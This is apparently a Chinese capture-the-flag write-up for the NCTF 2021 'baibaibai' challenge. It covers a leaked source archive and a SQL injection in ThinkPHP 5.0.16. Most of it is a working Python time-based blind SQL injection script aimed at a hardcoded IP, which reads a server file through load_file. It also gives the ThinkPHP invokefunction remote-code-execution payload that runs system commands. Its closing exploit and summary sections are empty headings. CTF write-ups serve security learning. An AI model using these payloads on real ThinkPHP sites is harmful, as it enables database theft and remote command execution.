Problem: [NCTF 2021]baibaibai
思路
- 解题大致思路
有www.zip泄露,翻源码发现M1sakaM1yuu.php有sql注入漏洞
然后发现thinkphp版本是5.0.16
然后网上找找,发现Thinkphp 5.0.15 SQL注入漏洞挖掘分析-先知社区
第十届南京邮电大学网络攻防大赛(NCTF 2021)writeup - 渗透测试中心 - 博客园
本来这个sqll注入漏洞是5.0.13<=ThinkPHP<=5.0.15 、 5.1.0<=ThinkPHP<=5.1.5 。但上文也给出了5.0.16的漏洞利用。
import requests
import time
flag = ''
for i in range(1,100):
for j in r'{}0123456789abcdefghijklmnopqrlstuv\/wxyz-_,<>\?.':
#开始计时
before_time = time.time()
#payload = 'substr((select(database())),{},1)="{}"'.format(i,j)
#payload = 'substr((select(group_concat(table_name))from(information_schema.tables)where(table_schema=database())),{},1)="{}"'.format(i,j)
#payload = 'substr((select(group_concat(column_name))from(information_schema.columns)where(table_name="m1saka")),{},1)="{}"'.format(i,j)
payload = 'substr((select(load_file("/var/www/html/ffllaagg.php"))),{},1)="{}"'.format(i,j)
url = 'http://129.211.173.64:8086/public/index.php/index/m1saka_m1yuu/index?username[0]=exp&username[1]=sleep(if((1^({})),0,3))&username[2]=1'.format(payload)
#print(url)
r = requests.get(url)
#print(r.text)
#返回时间
after_time = time.time()
offset = after_time - before_time
if offset > 2.8:
flag += j
print(flag)
break
或者直接rce(直接搜thinkph5.0.16漏洞就有rce漏洞)
/public//?s=/index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=ls /;tac /flag

EXP
- 具体攻击代码
总结
- 对该题的考点总结
